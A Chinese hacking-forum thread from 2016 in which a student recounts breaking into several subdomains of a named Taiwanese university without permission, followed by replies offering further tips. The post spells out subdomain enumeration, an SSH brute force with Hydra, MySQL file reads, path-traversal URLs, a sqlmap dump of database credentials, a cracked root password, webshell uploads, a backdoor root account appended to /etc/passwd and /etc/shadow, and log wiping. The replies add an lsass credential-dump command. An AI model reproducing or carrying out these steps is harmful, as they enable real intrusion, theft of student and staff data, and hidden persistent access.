九零登录

[【通过】] 渗透台湾某大学分站

[复制链接]
发表于 2016-7-24 10:11:13 | 显示全部楼层 |阅读模式
本帖最后由 zzyzz 于 2016-7-24 10:36 编辑

渗透台湾某大学分站
小弟刚入门,还是学生,拿下这个站竟然费我2天(阿西吧)。。。。。。。。。
听说最近台湾某领导人很跳!!(呵呵,我也拿她没办法呀,所以…….)
废话不多说,开始:

cycu.edu.tw   台湾中原大学,

首先收集whois信息,可是毕竟牛鼻大学啊防护肯定很好,所以准备从它的分站下手

python sublist3r.py -v -d cycu.edu.tw -ocycu.edu.tw-subdomains.txt

xx

xx
得出大批子域名

就找某个站试试
l    xxxx1.cycu.edu.tw

网站信息:Apache/2.4.7+ Ubuntu14.04 + PHP + MYSQL5.5

丢入WVS,发现备份文件
2.png
下载下来,1个G,但是压缩包损坏了,还好好压软件可以修复(实力安利一波哈哈),
发现数据库用户及密码:
3.png
既然都被我发现了用户名密码  嘿嘿~~~~
登陆看看翻了半天,无上传点(—呵呵)
navicat登陆,从数据库下手
tt.PNG
一大批数据库我表示受到了惊呀!
赶紧收集有效信息:
select @@basedir / @@datadir / variables like"%plugin%" / @@version;
5.png

等等SELECTLOAD_FILE ('/etc/passwd');这个行不行呢?
6.png
Nice 可以,
SELECT LOAD_FILE ('/etc/shadow');
7.png
?????(黑人脸)读不出??
急着我赶紧读PHP 、 apache配置文件
/etc/php.ini                    
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf                           
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
8.png
都读不出!! 难道是我路径不对,赶紧查查php如何暴路径的。
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
呵呵都不行
写一句话文件呢:
9.png
错误13,可能是因为权限太低,或者不能写入吧,但是路径是个问题啊,都读不出基本的文件,对了 我记得有个phpmyadmin的登陆看看有木有网站的绝对路径
10.png

没有(苦脸::>_<::)
既然这样,哼哼╭(╯^╰)╮,扫描端口:
21 :ftp
22 :SSH Remote login
80 :HTTP
3306 :mysql
好的,Hydra爆破组准备,爆破22!!!!
hydra -L users.txt -P password.txt -vV -ossh.log -e ns ip ssh




然而啊然而。。。。。。
爆破了半天,毫无进展。。。。

网站绝对路径找不到(无法写入一句话别说udf提权了),又无上传点(好苦啊),翻了半天数据库,都是学生与教授的信息,社工太尴尬(─.─||| 不怎么会,无利用点啊
。
。
。
既然这样,寻思半天,我的王哥也帮我搞了半天,一直在想何如拿下,还是不行啊(QAQ)。



好,换个分站:
l  xxxx2.cycu.edu.tw

发现一个相对路径
http://xxxx2.cycu.edu.tw/download_file.php?path=./upload/study/
11.png
猜!!!
于是
http://xxxx2.cycu.edu.tw/download_file.php?path=../../etc/passwd
http://xxxx2.cycu.edu.tw/download_file.php?path=../../../etc/passwd
http://xxxx2.cycu.edu.tw/download_file.php?path=../../../../etc/passwd  OK
12.png
嘿嘿,
接着看看有木有/etc/shadow
13.png
妈的(甩锅!甩手机!)
这些站都是一个人搞的么!apache2/httpd.conf这些文件又是没有!

陆陆续续又几个分站,妈的都是这玩意(passwd可读,其它文件不可读),好不爽啊

没办法,刚入门,没啥思路,硬着头皮,再一个分站:
l  xxxx3.cycu.edu.tw
Apache/2.2.3(CentOS) +  PHP

这时,发现一个注入点,赶紧sqlmap!
sqlmap.py -u "http://xxxx2.cycu.edu.tw/xxx/news01.php?Inews_id=426"—is-dba

[15:18:07] [INFO] the back-end DBMS isMySQL
web server operating system: Linux CentOS 5
web application technology: PHP 5.2.10,Apache 2.2.3
back-end DBMS: MySQL 5
[15:18:07] [INFO] testing if current useris DBA
[15:18:07] [INFO] fetching current user
current user is DBA:    'True'

!!!!DBA权限,ok

sqlmap.py -u"http://xxxx2.cycu.edu.tw/xxx/news01.php?Inews_id=426" -D mysql -Tuser -C User,Password --dump
Database: mysql
Table: user
[3 entries]
+------------------+------+
| Password         | User |
+------------------+------+
| NULL             | root |
| NULL             | NULL |
| 3589e11b1407d3ab | root |
+------------------+------+

。。。。。mysql加密的。。。。。。咋办

谷歌百度呗(哈哈)
找到解密的网站https://www.tobtu.com/mysql323.php
下载MySQL323Cracker (随便找的,我服)
14.png
密码为cb3305010 (好像是这样的吧QAQ)
SSH登陆!!!!

15.png

root权限诶~~~。
Linux 2.6.18 接下来我迷茫了,不是要像其他的渗透记录一样要提权吗,这个直接root了啊,那咋搞。。。。
嗯,上传个小马,菜刀连接试试

16.png

ok了,大马也继续传上去了。

添加后门用户试试:
[root@cob ~]# echo"wwww::0:0::/:/bin/bash" >> /etc/passwd
[root@cob ~]# echo "wwww::::::::">> /etc/shadow
17.png

su命令和su -命令最大的本质区别就是:前者只是切换了root身份,但Shell环境仍然是普通用户的Shell;而后者连用户和Shell环境一起切换成root身份了。只有切换了Shell环境才不会出现PATH环境变量错误。su切换成root用户以后,pwd一下,发现工作目录仍然是普通用户的工作目录;而用su -命令切换以后,工作目录变成root的工作目录了。(来源网络)

对了清除日志:
常用的几个日志文件如下(来源网络)
1)/var/log/secure:记录登录系统存取数据的文件;
   例如:pop3,ssh,telnet,ftp等都会记录在此.
2)/var/log/message:几乎所有的开机系统发生的错误都会在此记录;
3)/var/log/boot.log:记录一些开机或者关机启动的一些服务显示的启动或者关闭的信息;
4)/var/log/maillog:记录邮件的存取和往来;
5)/var/log/cron:用来记录crontab这个服务的内容;
6)/var/log/httpd,/var/log/mysqld.log等等文件,记录几个不同的网络服务的记录文件;

查看日志在哪:cat/etc/syslog.conf:获得log文件存放的位置
18.png

看看/var/log/message:几乎所有的开机系统发生的错误都会在此记录;
19.png
妈的有人今天13点登了!,是管理员吧,赶紧擦除我的登陆信息~~~~~~~

是不是这样就可以了QAQ 那我的用户wwww如何直接登上去呢?不知道,好多都不知道,希望有人可以提醒我下,比如哪里做的不对,哪里可以扩展下思维,求人回复啊,



我看到有篇文章是留后门的《《LINUX安装SSHBD后门》》
http://www.cnblogs.com/mujj/articles/2264117.html
但是我这样操作失败了 ssh-l root ip没登上去 求解啊。

过几天在搞它的其它分站。

总结:
1. 本文写的比较懒散,因为我是一个随性的人(QAQ)
2. 本文也无亮点可言,毕竟我是用死脑筋学的,希望来到90sec会提升自己!
3. 坚持吧,就是坚持,毕竟人生苦短,我用Python~~~~~~~
4. 毕竟我也是90后,学好这门技术最坏不过大器晚成。
5. 仰慕90sec很久了,一直没有拿得出手的文章(这篇也是啊),所以一直不敢投稿,这次下定决定入90sec,希望各位前辈多多指教,小弟一定好好学!

至
20.png
妈的 老子睡觉去啦(QAQ)

最后谢谢管理05 给我通过~~~~~~~~~~~我们一起来建立90sec世界~~~~~~~~~~。
GG
=============================

态度端正,在校学生,降低标准给予通过。

单选投票, 共有 20 人参与投票

投票已经结束

95.00% (19)
5.00% (1)
您所在的用户组没有投票权限

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-7-24 10:22:00 | 显示全部楼层
用wvs重来没扫出高危漏洞过 =-=
 楼主| 发表于 2016-7-24 10:25:01 | 显示全部楼层
Silence7 发表于 2016-7-24 10:22
用wvs重来没扫出高危漏洞过 =-=

相反  Appscan与N-Stalker 我都没觉得WVS好用~~~~~~
发表于 2016-7-24 10:32:48 | 显示全部楼层

用wvs从来就没有扫出过能利用上的洞
 楼主| 发表于 2016-7-24 15:04:36 | 显示全部楼层
幽暗 发表于 2016-7-24 10:32
用wvs从来就没有扫出过能利用上的洞

有些扫出来的sql注入漏洞就是鸡肋,和webcruiser扫出来的一样,没利用效果。。。
发表于 2016-7-24 16:11:00 | 显示全部楼层
亮点就是awvs扫到了备份
 楼主| 发表于 2016-7-24 16:21:22 | 显示全部楼层
小伟 发表于 2016-7-24 16:11
亮点就是awvs扫到了备份

然而那是第一个分站,扫出了备份,却使劲的找不到绝对路径,也写入不了一句话QAQ。
所以才有接下来的几个分站。。。。还有 求指点啊
发表于 2016-7-24 22:22:06 | 显示全部楼层
linux 下mysql 的root 继承的mysql 权限! 当然读不了/etc/shadow  另外linux 也支持udf得到一个反弹权限 当然和环境有关系。读默认配置的时候先看 服务器系统是centos ubuntu freebsd等?
发表于 2016-7-24 23:29:06 | 显示全部楼层
没看懂   注入出mysql密码  登陆ssh,,  运气好?
发表于 2016-7-25 05:51:07 | 显示全部楼层
what?   直接用mysql的密码登陆了 SSH !!!   直接。。。。
 楼主| 发表于 2016-7-25 08:23:14 | 显示全部楼层
战虎 发表于 2016-7-24 22:22
linux 下mysql 的root 继承的mysql 权限! 当然读不了/etc/shadow  另外linux 也支持udf得到一个反弹权限 当 ...

没上传点,绝对路径报不出来,udf无法上传 。 配置:Apache/2.4.7 + Ubuntu14.04 + PHP + MYSQL5.5
 楼主| 发表于 2016-7-25 08:25:36 | 显示全部楼层
love_234 发表于 2016-7-24 23:29
没看懂   注入出mysql密码  登陆ssh,,  运气好?

对啊  完全靠运气  而且那个站每天都有人登陆更新     
 楼主| 发表于 2016-7-25 08:29:45 | 显示全部楼层
谦月Vip4pt 发表于 2016-7-25 05:51
what?   直接用mysql的密码登陆了 SSH !!!   直接。。。。

   对啊而且是root。。。。。 我是不是漏掉了啥步骤。。。。
发表于 2016-7-25 10:28:17 | 显示全部楼层
我只能说人品大爆发。。。为啥我就没碰到过呢?
发表于 2016-7-25 14:50:59 | 显示全部楼层
udf可以注入 写进 tmp目录的吧  虽然我没试过; 猜目录的话 估计还有一些你没试过   比如/var/www/html这种
 楼主| 发表于 2016-7-26 08:27:58 | 显示全部楼层
474082729 发表于 2016-7-25 10:28
我只能说人品大爆发。。。为啥我就没碰到过呢?

哪有  我试了20几个分站 哈哈
 楼主| 发表于 2016-7-26 08:29:27 | 显示全部楼层
一人一刀下北凉 发表于 2016-7-25 14:50
udf可以注入 写进 tmp目录的吧  虽然我没试过; 猜目录的话 估计还有一些你没试过   比如/var/www/html这种

tmp目录可以写,但好像没啥用   /var/www/html的这种已经猜遍了 后来通过小技巧猜到了路径  可惜error13 没权限写
发表于 2016-7-26 09:36:42 | 显示全部楼层
web目录猜到了,可以尝试读取index类的文件,通过 index类的包含等,读到其他文件,然后你就知道了源码,以及目录结构,最后可以审计出漏洞或找到可写的目录
发表于 2016-7-27 12:52:00 | 显示全部楼层
楼主第一个有root密码那个服务器怎么没搞下,是不是站库分离了?看看mysql的配置?
下载了源码的话,审核下源码登陆后台找找上传还是什么的。
发表于 2016-7-30 13:47:31 | 显示全部楼层
运气杠杠的,WVS扫描高危可利用漏洞
 楼主| 发表于 2016-8-3 10:59:51 | 显示全部楼层
80uncle 发表于 2016-7-27 12:52
楼主第一个有root密码那个服务器怎么没搞下,是不是站库分离了?看看mysql的配置?
下载了源码的话,审核 ...

mysql权限太低,只允许读写/tmp目录、 还有读/etc/passwd。审查了半天源码和翻了半天数据库,都是老师学生信息,后台也无上传点。 站库分离这一点不是吧,因为mysql数据库服务器也是那个IP。  
多谢回复,另外问下 网站主机有avp怎么搞(taskill avp不行哈哈),上传了抓hash工具都被杀,请问 有啥思路没(做免杀?)。

发表于 2016-8-4 18:21:24 | 显示全部楼层
zzyzz 发表于 2016-8-3 10:59
mysql权限太低,只允许读写/tmp目录、 还有读/etc/passwd。审查了半天源码和翻了半天数据库,都是老师学 ...

Windows自带的工具procdump

http://blog.csdn.net/chinafe/article/details/12196359

 楼主| 发表于 2016-8-4 21:36:57 | 显示全部楼层
80uncle 发表于 2016-8-4 18:21
Windows自带的工具procdump

http://blog.csdn.net/chinafe/article/details/12196359

procdump 是需要管理员权限才能执行
[Bash shell] 纯文本查看 复制代码
Procdump.exe -accepteula -ma lsass.exe lsass.dmp


而我的权限太低了


http://blog.csdn.net/yiyefangzhou24/article/details/11760277
这篇文章procdump +mimikatz 在我本机上 密码是可以抓到的,但是呢  procdump需要管理员权限.......不然不行


mimikatz若是单独使用的话 也是需要管理员权限......
发表于 2016-8-10 17:26:32 | 显示全部楼层
本帖最后由 Blck 于 2016-8-10 17:31 编辑

年轻人挺有意思。随性

九零

GMT+8, 2026-10-22 13:25

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表